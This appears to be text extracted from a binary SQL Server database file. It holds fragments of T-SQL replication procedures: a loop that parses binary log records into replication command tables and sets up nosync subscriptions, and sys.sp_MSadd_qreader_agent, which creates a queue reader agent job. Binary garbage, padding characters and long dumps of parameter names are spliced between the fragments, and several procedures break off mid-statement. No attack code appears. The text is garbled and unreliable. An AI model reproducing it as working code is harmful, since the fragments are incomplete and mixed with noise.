			when 9 then @9data
			when 10 then @10data
			when 11 then @11data
			when 12 then @12data
			when 13 then @13data
			when 14 then @14data
			when 15 then @15data
			when 16 then @16data
			when 17 then @17data
			when 18 then @18data
			when 19 then @19data
			when 20 then @20data
			when 21 then @21data
			when 22 then @22data
			when 23 then @23data
			when 24 then @24data
			when 25 then @25data
			when 26 then @26data
		end
		
		IF @tempdata is null
      		goto END_CMDS

		-- We will now breakup the binary data. Check HP_FIXED_DATA 
		-- in publish.cpp for all of the offsets listed below...
		select @xactId 			= substring( @tempdata, 1, 10),
				-- @xactSeqNo   = see directly below for the setting of this value : usually = substring( @tempdata, 11, 10),
				@artId			= substring( @tempdata, 21, 4),
				@cmdId			= substring( @tempdata, 25, 4),
				@cmdType		= substring( @tempdata, 29, 4),
				@fIncomplete	= convert(bit, substring( @tempdata, 33, 1)),
				@cmdLen			= substring( @tempdata, 34, 2),
				@origSrvLen		= substring( @tempdata, 36, 2),
				@origDbLen		= substring( @tempdata, 38, 2),
				@hashKey		= substring( @tempdata, 40, 2),
				-- @origPublId		= Not used since MaxCMDsInTran is not supported in PeerToPeer. Usually would be : substring( @tempdata, 42, 4),
				-- @origDbVersion	= Not used since MaxCMDsInTran is not supported in PeerToPeer. Usually would be : substring( @tempdata, 46, 4),
				-- @origLSN			= Not used since MaxCMDsInTran is not supported in PeerToPeer. Usually would be : substring( @tempdata, 50, 10),
				@cmdText		= substring( @tempdata, 60, @cmdLen)
				-- @originator  = only done below if an originator len is detected : usually = substring( @tempdata, 60 + @cmdLen, @origSrvLen)
				-- @originatorDb= only done below if an originator len is detected : usually = substring( @tempdata, 60 + @cmdLen + @origSrvLen, @origDbLen)
			
		if @x != 0
		begin
			if(substring( @tempdata, 11, 10 ) = substring( @prevdata, 11, 10 )) --same tran
			begin
	    		IF @cmdId = 1
				begin
					select @xactSeqNo = substring( @tempdata, 11, 10 ) + @maxOffset
					select @maxOffset  = @maxOffset + 1
				end
			end
			else
				select @xactSeqNo = substring( @tempdata, 11, 10 ) 
		end

		-- first command in tran
	    IF @cmdId = 1  
	    begin
			INSERT INTO MSrepl_transactions 
				VALUES (@publisher_database_id, @xactId, @xactSeqNo, @date)
		end

		-- Now insert into MSrepl_commands
		if( @cmdType in( 37,38 ) )
		begin
			select @cmdType = 38 - @cmdType
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artId, @cmdType, @xactSeqNo
			select @cmdType = (38 - @cmdType) | 0x80000000
		end
		-- Check all posted cmds of SQLCMD type to see if they are tracer records
		-- sql cmd type is (47 | 0x40000000 ) or 1073741871
		else if @cmdType = 1073741871
		begin
			declare @tracer_id 	int,
					@retcode	int
			
			select @tracer_id = cast(cast(@cmdText as nvarchar) as int)

			exec @retcode = sys.sp_MSupdate_tracer_history @tracer_id = @tracer_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
		
		-- only add it if the command is not empty
	   	if @cmdLen > 0
		begin
			--handle nonsync subscription setup when command type is 
			-- REPL_NOSYNC_SUBSCRIPTION_SETUP_LOG_CMD (54)
			if ((@cmdType & 0xFFFFFFF) = 54)
			begin
				-- When logreader gets a log record with this type,
				-- the MSnosyncsubsetup table should already exist,
				-- report the failure if it does not exist.
				if (object_id(N'dbo.MSnosyncsubsetup', 'U')) is NULL 
				begin
					goto Failure
				end
				else
				begin
					declare @nosyncCommandStr	nvarchar(max),
						@publisher				sysname,
						@publication				sysname,
						@article					sysname,
						@subscriber 			sysname,
						@destination_db 		sysname,
						@subscriptionlsn			binary(10),
						@lsnsource				tinyint,
						@originator_publication_id	int,
						@originator_db_version		int,
						@originator_meta_data		nvarchar(max),
						@nosync_setup_script		nvarchar(max),
						@next_valid_lsn 		binary(10),
						@next_valid_lsn_from_log	binary(10)
			
					select @originator_publication_id = CAST(CAST(substring(@cmdText, 1, 4) AS nvarchar) AS int),
						@next_valid_lsn_from_log = CAST(substring(@cmdText, 5, 10) AS binary(10))
					if @@error <> 0 goto Failure
			
					-- Verify that the number of parameters is correct before using 
					-- these parameters in sp_MSsetupnosyncsubwithlsnatdis!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v&5t
					if ((select count(*) from dbo.MSnosyncsubsetup
						where publisher_database_id = @publisher_database_id
						and publication_id = @originator_publication_id
						and artid = @artId
						and next_valid_lsn = @next_valid_lsn_from_log) <> 13) goto Failure
					if @@error <> 0 goto Failure
			
					select @publisher = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'publisher') as sysname),
					@publisher_db = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'publisher_db') as sysname),
					@publication = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'publication') as sysname),
					@article = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'article') as sysname),
					@subscriber = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'subscriber') as sysname),
					@destination_db = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N'destination_db') as sysname),
					@subscriptionlsn = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N'subscriptionlsn') as binary(10)),
					@lsnsource = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N'lsnsource') as tinyint),
					@originator_publication_id = cast((select parameterValue 
												from dbo.MSnosyncsubsetup
												where publisher_database_id = @publisher_database_id
													and publication_id = @originator_publication_id
													and artid = @artId
													and next_valid_lsn = @next_valid_lsn_from_log
													and parameterName = N'originator_publication_id') as int),
					@originator_db_version = cast((select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N'originator_db_version') as int),
					@originator_meta_data = (select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N'originator_meta_data'),
					@nosync_setup_script = (select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N'nosync_setup_script'),
					@next_valid_lsn = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N'next_valid_lsn') as binary(10))
					if @@error <> 0 goto Failure
			
					select @nosyncCommandStr = N'exec sp_MSsetupnosyncsubwithlsnatdist 
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@article = @article,
						@subscriber = @subscriber,
						@destination_db = @destination_db,
						@subscriptionlsn = @subscriptionlsn,
						@lsnsource = @lsnsource,
						@originator_publication_id = @originator_publication_id,
						@originator_db_version = @originator_db_version,
						@originator_meta_data = @originator_meta_data,
						@nosync_setup_script = @nosync_setup_script,
						@next_valid_lsn = @next_valid_lsn'
			
					exec sp_executesql
						@stmt = @nosyncCommandStr,
						@params = N'@publisher				sysname,
									@publisher_db			sysname,
									@publication				sysname,
									@article					sysname,
									@subscriber 			sysname,
									@destination_db 		sysname,
									@subscriptionlsn			binary(10),
									@lsnsource				tinyint,
									@originator_publication_id	int,
									@originator_db_version		int,
									@originator_meta_data		nvarchar(max),
									@nosync_setup_script		nvarchar(max),
									@next_valid_lsn 		binary(10)',
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@article = @article,
						@subscriber = @subscriber,
						@destination_db = @destination_db,
						@subscriptionlsn = @subscriptionlsn,
						@lsnsource = @lsnsource,
						@originator_publication_id = @originator_publication_id,
						@originator_db_version = @originator_db_version,
						@originator_meta_data = @originator_meta_data,
						@nosync_setup_script = @nosync_setup_script,
						@next_valid_lsn = @next_valid_lsn
			
					if @@error <> 0 goto Failure
			
				end --end of if (object_id(N'dbo.MSnosyncsubsetup, 'U')) is NOT NULL
			
				-- Upon success of the execution of sp_MSsetupnosyncsubwithlsnatdist,
				-- clean up the MSnosyncsubsetup table by deleting the parameters
				-- regarding this specified nonsync subscription
				delete dbo.MSnosyncsubsetup 
				where publisher_database_id = @publisher_database_id
				  and publication_id = @originator_publication_id
				  and artid = @artId
				  and next_valid_lsn = @next_valid_lsn_from_log
			
				if @@error <> 0 goto Failure
			
				goto Continue_next_command
Failure:
				return 1
Continue_next_command:
			end
        		else   --i.e., when (@cmdType & 0xFFFFFFF) is NOT 54
            		begin
	        -- Get the originator_id for the first command
	        if @origSrvLen <> 0 and @origDbLen <> 0 
	        begin 
	        	select @originator_id 	= null,
           				@originator		= substring( @tempdata, 60 + @cmdLen, @origSrvLen),
						@originatorDb	= substring( @tempdata, 60 + @cmdLen + @origSrvLen, @origDbLen)
	            
	            select @originator_id = id 
	            	from MSrepl_originators !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(rvFkCREATE PROCEDURE sys.sp_MSadd_qreader_agent 
(
    @name nvarchar(100) = NULL,
    @agent_id int = NULL OUTPUT,
    @agent_jobid binary(16) = NULL OUTPUT,
    @job_login nvarchar(257) = NULL,
    @job_password sysname = NULL,
    @internal sysname = N'PRE-YUKON'		-- Can be: 'PRE-YUKON', 'YUKON', 'BOTH'
) 
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode				int
			,@profile_id			int
			,@category_name			sysname
			,@database				sysname

	-- these are defaults used for sp_MSadd_repl_job
			,@frequency_type int,
			@frequency_interval int,
			@frequency_relative_interval int,
			@frequency_recurrence_factor int,
			@frequency_subday int,
			@frequency_subday_interval int,
			@active_start_time_of_day int,
			@active_end_time_of_day int,
			@active_start_date int,
			@active_end_date int,
			@retryattempts int,
			@retrydelay int,
			@command nvarchar(4000)
			,@jobname sysname
			,@agent_name nvarchar(100)
			,@agent_job_step_uid uniqueidentifier

	SELECT
		@frequency_type = 64,
		@frequency_interval = 1,
		@frequency_relative_interval = 1,
		@frequency_recurrence_factor  = 0,
		@frequency_subday = 4,
		@frequency_subday_interval = 5,
		@active_start_time_of_day = 0,
		@active_end_time_of_day = 235959,
		@active_start_date = 0,
		@active_end_date = 99991231,
		@retryattempts = 10,
		@retrydelay = 1

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_qreader_agent', 'distribution')
        return (1)
    end
    
	--
	-- initialize
	--
	select @database = db_name()
			,@agent_id = NULL
			,@agent_jobid = NULL
			,@agent_job_step_uid = NULL

	--
	-- Check for Agent entry
	--
	select top 1 @agent_id = id, @agent_name = name
	from dbo.MSqreader_agents

	--
	-- Check if we have any queue reader jobs for this database
	--
	select @agent_jobid = job.job_id
			,@jobname = job.name 
			,@agent_job_step_uid = step.step_uid
	from msdb.dbo.sysjobs_view as job join msdb.dbo.sysjobsteps as step 
		on job.job_id = step.job_id 
			and job.master_server = 0
			and job.category_id = 19
			and UPPER(job.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
			and step.subsystem = N'QueueReader' 
			and step.database_name = @database
			and (job.name = @name
				or @name is NULL
				or @internal = N'PRE-YUKON')

	-- ONLY CHECK THIS IN 9.0 or more CASES
	IF @internal = N'YUKON'
	BEGIN
		IF @name IS NOT NULL
			AND @jobname IS NULL
		BEGIN
			-- Message from msdb.dbo.sp_verify_job_identifiers
			RAISERROR(14262, -1, -1, 'Job', @name)   	
			RETURN 1
		END
	END

	--
	-- begin tran
	--
	BEGIN TRAN sp_MSadd_qreader_agent
	SAVE TRAN sp_MSadd_qreader_agent
	
	--
	-- Check if we need to proceed
	-- add agent entry and job entry as required
	--
	if ((@agent_id IS NOT NULL) and (@agent_jobid IS NOT NULL))
	begin
		--
		-- we have an entry in MSqreader_agents and an entry in 
		-- msdb.dbo.sysjobs_view, make sure the names and jobid match
		--
		if (@agent_name != @jobname)
		begin
			--
			-- Update the agent name to be same as the job name
			--
			UPDATE MSqreader_agents SET name = @jobname WHERE id = @agent_id
			IF (@@ERROR != 0)
				GOTO UNDO
		end

		if not exists (select * 
						from MSqreader_agents
						where id = @agent_id 
							and job_id = @agent_jobid
							and job_step_uid = @agent_job_step_uid)
		begin
			--
			-- Update the agent job_id if necessary
			--
			UPDATE MSqreader_agents 
				SET job_id = @agent_jobid,
					job_step_uid = @agent_job_step_uid
				WHERE id = @agent_id
			IF (@@ERROR != 0)
				GOTO UNDO
		end

		if @job_login is not NULL
			or @job_password is not NULL
		begin
			-- 
			-- Always update the Proxy Account if one is provided
			-- 	
			exec @retcode = sys.sp_MSchange_repl_job @id = @agent_jobid,
													@step_uid = @agent_job_step_uid,
													@login = @job_login,
													@password = @job_password
			IF (@@ERROR != 0 or @retcode != 0)
				GOTO UNDO
		end 
		
		COMMIT TRAN sp_MSadd_qreader_agent
		RETURN(0)
	end

	--
	-- prepare the command
	-- Since this will always run on NT, use integrated security
	--
	select @command = N'-Distributor ' + quotename(@@SERVERNAME) 
					+ N' -DistributionDB ' + quotename(@database) 
					+ N' -DistributorSecurityMode 1 '
	
	SELECT @profile_id = profile_id
	FROM msdb..MSagent_profiles
	WHERE agent_type = 9
	AND def_profile = 1

	IF @profile_id IS NULL
		GOTO UNDO

	--
	-- Set the name
	--
	if (@name is NULL)
	begin
		select @name = case 
			when (@agent_name IS NULL and @jobname IS NULL) 
				then quotename(@@servername) + '.' + cast(db_id() as nvarchar)
			when (@jobname IS NOT NULL)
				then cast(@jobname as nvarchar(100))
				else @agent_name
			end
	end
	else
	begin
		--
		-- we will override the user specified name if
		-- a job already exists
		--
		if (@jobname IS NOT NULL and @jobname != @name)
			select @name = cast(@jobname as nvarchar(100))
	end
	
	--
	-- Insert row and Add Perfmoon instance only if needed
	--
	if (@agent_id IS NULL)
	begin
		INSERT INTO MSqreader_agents (name, profile_id) VALUES (@name, @profile_id)
		IF (@@ERROR != 0)
			GOTO UNDO
		SELECT @agent_id = @@IDENTITY
		dbcc addinstance ('SQL Replication QueueReader', @name)
	end
	else
	begin
		--
		-- update Agent name if necessary
		--
		if not exists (select * from MSqreader_agents 
			where id = @agent_id and name = @name) 
		begin
			UPDATE MSqreader_agents SET name = @name WHERE id = @agent_id
			IF (@@ERROR != 0)
				GOTO UNDO
		end
	end

	--
	-- add the job if necessary
	-- For DMO scripting
	-- if the corresponding job for this agent does not exist we will 
	-- proceed and create the job (This is for the case when the user 
	-- generated the script at the publisher but did not re-create 
	-- repl jobs at the distributor.)
	--
	if (@agent_jobid IS NULL)
	begin
		-- Get Qreader category name (assumes category_id = 19)
		select @category_name = name FROM msdb.dbo.syscategories where category_id = 19

		EXECUTE @retcode = dbo.sp_MSadd_repl_job
			@name = @name,
			@subsystem = 'QueueReader',
			@server = @@SERVERNAME,
			@databasename = @database,
			@enabled = 1,
			@freqtype = @frequency_type,
			@freqinterval = @frequency_interval,
			@freqsubtype = @frequency_subday,
			@freqsubinterval = @frequency_subday_interval,
			@freqrelativeinterval = @frequency_relative_interval,
			@freqrecurrencefactor = 0,
			@activestartdate = @active_start_date,
			@activeenddate = @active_end_date,
			@activestarttimeofday = @active_start_time_of_day,
			@activeendtimeofday = @active_end_time_of_day,
			@nextrundate = 0,
			@nextruntime = 0,
			@runpriority = 0,
			@emailoperatorname = NULL,
			@retryattempts = @retryattempts,
			@retrydelay = @retrydelay,
			@command = @command,
			@loghistcompletionlevel = 0,
			@emailcompletionlevel = 0,
			@description = 'Reads queues for Queued updating subscriptions',
			@category_name = @category_name,
			@failure_detection = 1,
			@agent_id = @agent_id,
			@job_login = @job_login,
			@job_password = @job_password,
			@job_id = @agent_jobid OUTPUT,
			@job_step_uid = @agent_job_step_uid OUTPUT

		IF (@@ERROR != 0 or @retcode != 0)
			GOTO UNDO
	end
	
	-- update agents table with the job id
	UPDATE MSqreader_agents 
		SET job_id = @agent_jobid,
			job_step_uid = @agent_job_step_uid
		WHERE id = @agent_id
	IF (@@ERROR != 0)
		GOTO UNDO

	COMMIT TRAN sp_MSadd_qreader_agent
	RETURN(0)

UNDO:
	--
	-- Since this proc is called from other SPs, doing
	-- a ROLLBACK can roll all the way to the top 
	-- s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`J)
#6$,@publisher_db6$,@publisher_id6$"@xact_id6$(@xact_seqno6sq5@artid6sq5&@publisher6sq5.@publishertype6G*base_address6G
 company6Gdebug6G(description6G*file_version6G	"language6Gname6G patched6G&prerelease6G,private_build6G0product_version6G,special_build6R@artid6R @ddlcmd6R@pubid6S&@articleid6S"@command6S,@command_type6S@owner6S.@publicationid6S&@publisher6S8@subscription_level6S@table:|6:|&@host_name6:|,@partition_id6:|*@suser_snamec6c @pstrin6&@functname6H*@publication6g.@cursor_return6g>@fulltext_catalog_name6(database_id60exec_context_id6	Tinternal_objects_alloc_page_count6
Xinternal_objects_dealloc_page_count6.is_remote_task6&request_id6&session_id6*task_address6Luser_objects_alloc_page_count6Puser_objects_dealloc_page_count6"@article6@artid6@objid6*@publication6$	@type6 @10data6 @11data6 @12data6 @13data6 @14data6 @15data6 @16data6 @17data6 @18data6 @19data6% @job_id60,*@publication60,.@source_object60,0@conflict_table65J@pubid6;*@publication6Q@pubid6Q,@artnickarray6Q,@rowguidarray_publisher6C&@next_seed6C@objid6C@range6(@servername6H2@active_end_date6H@@active_end_time_of_day6H6@active_start_date6H
D@active_start_time_of_day6H"@article6H0@destination_db6H>@distribution_job_name6H8@distribution_jobid6H<@dts_package_location6H4@dts_package_name6H<@dts_package_password6H8@frequency_interval6H
J@frequency_recurrence_factor6H	J@frequency_relative_interval6H4@frequency_subday6HF@frequency_subday_interval6H0@frequency_type6H0@from_auto_sync6H8@ignore_distributor6HH@ignore_distributor_failure6H,@offloadagent6H.@offloadserver6H>@optional_command_line6H2@previous_status6H*@publication6H&@publisher6H0@publisher_type6H<@skipobjectactivation6H @status6H(@subscriber6+2@active_end_date6+@@active_end_time_of_day6+6@active_start_date6+D@active_start_time_of_day6+"@article6+4@backupdevicename6+4@backupdevicetype6+0@destination_db6+>@distribution_job_name6+<@dts_package_location6+4@dts_package_name6+<@dts_package_password6+:@enabled_for_syncmgr6+(@fileidhint6+8@frequency_interval6+
J@frequency_recurrence_factor6+J@frequency_relative_interval6+4@frequency_subday6+F@frequency_subday_interval6+
0@frequency_type6+	8@loopback_detection6+.@mediapassword6+>@optional_command_line6+$@password6+*@publication6+"&@publisher6+#0@publisher_type6+$@reserved6+ @status6+(@subscriber6+%2@subscriber_type6+6@subscription_type6+!2@subscriptionlsn6+$:@subscriptionstreams6+&@sync_type6+  @unload6+*@update_mode61"@devtype61@end61 @fname161"@fname1061"@fname1161"@fname1261"@fname1361"@fname1461"@fname1561"@fname1661"@fname1761"@fname186$	@type6>@publisher_database_id6,@publisher_id6,@publisher_db6@data6@1data6@2data6@3data6@4data6	@5data6
@6data6@7data6@8data6
@9data6 @10data6 @11data6 @12data6 @13data6 @14data6 @15data6 @16data6 @17data6 @18data6 @19data6% @job_id60,*@publication60,.@source_objectr
8
			l	F			FJ
*


				j	J	*	6tFjBfX.xR$tT6Zx
hN,t0F 


j
	`)F
n6@1data6@2data6@3data6@4data6	@5data6
@6data6@7data6@8data6
@9data6@data6>@publisher_database_id6,@publisher_db6,@publisher_id6*@publication6&@publisher6,@publisher_db6"@toupper6$.authority_name6$Pauthorized_spatial_reference_id6$:spatial_reference_id6$>unit_conversion_factor6$0unit_of_measure6$0well_known_text6C*@bound_value6C(@check_only6C&@drop_only6C2@initial_setting6C,@is_publisher6C&@next_seed6C@objid6C@range6(@servername6H2@active_end_date6H@@active_end_time_of_day6H6@active_start_date6H
D@active_start_time_of_day6H"@article6H0@destination_db6H>@distribution_job_name6H8@distribution_jobid6H<@dts_package_location6H4@dts_package_name6H<@dts_package_password6H8@frequency_interval6H
J@frequency_recurrence_factor6H	J@frequency_relative_interval6H4@frequency_subday6HF@frequency_subday_interval6H0@frequency_type6H0@from_auto_sync6H8@ignore_distributor6HH@ignore_distributor_failure6H,@offloadagent6H.@offloadserver6H>@optional_command_line6H2@previous_status6H*@publication6H&@publisher6H0@publisher_type6H<@skipobjectactivation6H @status6H(@subscriber6+2@active_end_date6+@@active_end_time_of_day6+6@active_start_date6+D@active_start_time_of_day6+"@article6+4@backupdevicename6+4@backupdevicetype6+0@destination_db6+>@distribution_job_name6+<@dts_package_location6+4@dts_package_name6+<@dts_package_password6+:@enabled_for_syncmgr6+(@fileidhint6+8@frequency_interval6+
J@frequency_recurrence_factor6+J@frequency_relative_interval6+4@frequency_subday6+F@frequency_subday_interval6+
0@frequency_type6+	8@loopback_detection6+.@mediapassword6+>@optional_command_line6+$@password6+*@publication6+"&@publisher6+#0@publisher_type6+$@reserved6+ @status6+(@subscriber6+%2@subscriber_type6+6@subscription_type6+!2@subscriptionlsn6+$:@subscriptionstreams6+&@sync_type6+  @unload6+*@update_mode61"@devtype61@end61 @fname161"@fname1061"@fname1161"@fname1261"@fname1361"@fname1461"@fname1561"@fname1661"@fname1761"@fname186 @20data6 @21data6 @22data6 @23data6 @24data6 @25data6 @26data6
&@subsystem6
$@agent_id6$@database64@backup_directory6,@backup_share6B@backup_retention_period6L@monitor_server_security_mode6<@monitor_server_login6B@monitor_server_password64@backup_threshold6	2@threshold_alert6
B@threshold_alert_enabled6D@history_retention_period6:@ignoreremotemonitor6
8@backup_compression6  @action6@pubid6(@subscriber6.@subscriber_db6]0@qualified_name6]8@pub_identity_range6]0@identity_range6]&@threshold6*@publication6(@subscriber6.@subscriber_db6$@property6@value6F@force_reinit_subscription6
X@pubid6
X,@partition_id6&@tablenick6"@rowguid6@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!lJ(fDh2d>LXt8

Z
&
VJx4T `0


p
B

		f	6	r(D|8hZ~Db<tL"JP(
~X. f<nP2~rR2`E)1]6@p26@p26	@p26
@p26@p26@p26
@p26@p36@p36@p36@p36@p36@p36@p36	@p36
@p36@p36@p36
@p36	@p46@p46	@p46@p46	@p46	@p46	@p46	@p46
	@p46
@p56
@p56	@p56
@p56		@p56
@p56@p66
@p66@p66	
@p66@p76@p76$@procname6$@procname6$@procname6$@procname6$@procname6$@procname6
$@procname6@rows6@rows6@rows6@rows6@rows6@rows6@rows6@rows6	@rows6
@rows6@rows6@rows6
@rows6&@scrollopt6&@scrollopt6&@scrollopt6&@scrollopt6&@scrollopt6&@scrollopt6&@scrollopt6&@scrollopt6	&@scrollopt6
&@scrollopt6&@scrollopt6&@scrollopt6
&@scrollopt6A"@catalog6A @schema6A @server6A$@tbl_name6A(COLUMN_GUID6A(COLUMN_NAME6A,COLUMN_PROPID6A ORDINAL6A,TABLE_CATALOG6A&TABLE_NAME6A*TABLE_SCHEMA6M(@drop_table6M.@verbose_level6*@column_name6*@fUsePattern6"@ODBCVer60@procedure_name62@procedure_owner6:@procedure_qualifier6h(@article_id6h0@publication_id6h&@publisher6h(@tablespace6鷩"@article6鷩@objid6鷩*@publication6a$@category6a.@empty_tranpub6a*@publication6.(@index_name6.(@index_name6.(@index_name6..@table_catalog6.(@table_name6.(@table_name6.,@table_schema6.,@table_schema6.,@table_schema6.,@table_server6"@article6*@publication6&@publisher60@publisher_type67$@agent_id672@last_xact_seqno67,@no_init_sync67&@get_count67:@compatibility_level6&@publisher6,@publisher_db6*@publication68@valid_agent_exists6U@name6U&@publisher6U,@publisher_db6U*@publication6U&@local_job6U,@job_existing6U @job_id6UB@publisher_security_mode6U	2@publisher_login6U
8@publisher_password6U&@job_login6U,@job_password6U
0@publisher_type6U$@internal6UD@publisher_engine_edition6Α&@publisher6Α,@publisher_db6Α*@publication6Α"@article6Α(@subscriber6Α.@subscriber_db6Α,@is_pub_range6Α4@ranges_allocated6Α	*@range_begin6Α
&@range_end6Α4@next_range_begin6Α0@next_range_end6&@publisher6,@publisher_db6*@publication60@frequency_type68@frequency_interval64@frequency_subday6F@frequency_subday_interval6J@frequency_relative_interval6	J@frequency_recurrence_factor6
6@active_start_date62@active_end_date6D@active_start_time_of_day6
@@active_end_time_of_day66@snapshot_job_name6B@publisher_security_mode62@publisher_login68@publisher_password6&@job_login6,@job_password60@publisher_type"6"@pubid60h@pubid60h<@use_partition_groups60h2@dynamic_filters60hD@can_use_partition_groups60h:@has_dynamic_filters60hN@dynamic_filters_function_list60h0@uses_host_name60h4@uses_suser_sname6@repid6*&@publisher6*,@publisher_db6**@publication6**@server_name6*"@db_name6*(@web_server6**@compatlevel6@artid6@pubid6 @output6:@force_generate_proc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ltN
r6:,d2B(T~ V*



X
0

X2,LbD"|B


j
<

			x	L	$	vR(|TVtPL$^*zP*lF lP4pT8hD x`H0pX@(hP8 x`z)>2)bс6:$@job_only6:6@keep_for_last_run6:*@publication6:,@publisher_db6:,@publisher_id6:.@subscriber_db6:.@subscriber_id6:6@subscription_type6

2@base_table_rows6
	4@cells_per_object6
.@do_output_xml6
&@gridsize16
&@gridsize26
&@gridsize36
&@gridsize46
6@index_total_pages6

2@internaltabname6
@maxx6
@maxy6
@minx6
@miny6
,@results_card6
.@verboseoutput6
(@xml_output6
Q@artid6
Q&@publisher6
Q0@publisher_type6$&@job_login6$$@job_name6$,@job_password6$&@publisher6$2@publisher_login6$8@publisher_password6$B@publisher_security_mode6$0@publisher_type	6	(@servername6<*@publication6<&@publisher6<,@publisher_db6<$@reserved62active_ios_count66active_tasks_count68completed_ios_count6>completed_ios_in_bytes6	Jdefault_memory_clerk_address6:enqueued_tasks_count6*host_address6name6type6>.@fulltablename6>.@schema_option6>(@scriptonly6"@newname6"@objname6"@objtype6@@alter6@"@article6@$@is_debug6@*@publication6P5$@loginame6P5(@remotename6P5,@remoteserver6o,@mergepublish6o@name6o,@transpublish6x*@distributor6x*@publication6x&@publisher6x,@publisher_db6x6@subscription_type6]*@description6]0@immediate_sync6]6@independent_agent6]*@publication6]&@publisher6],@publisher_db6]6@subscription_type6]*@update_mode63
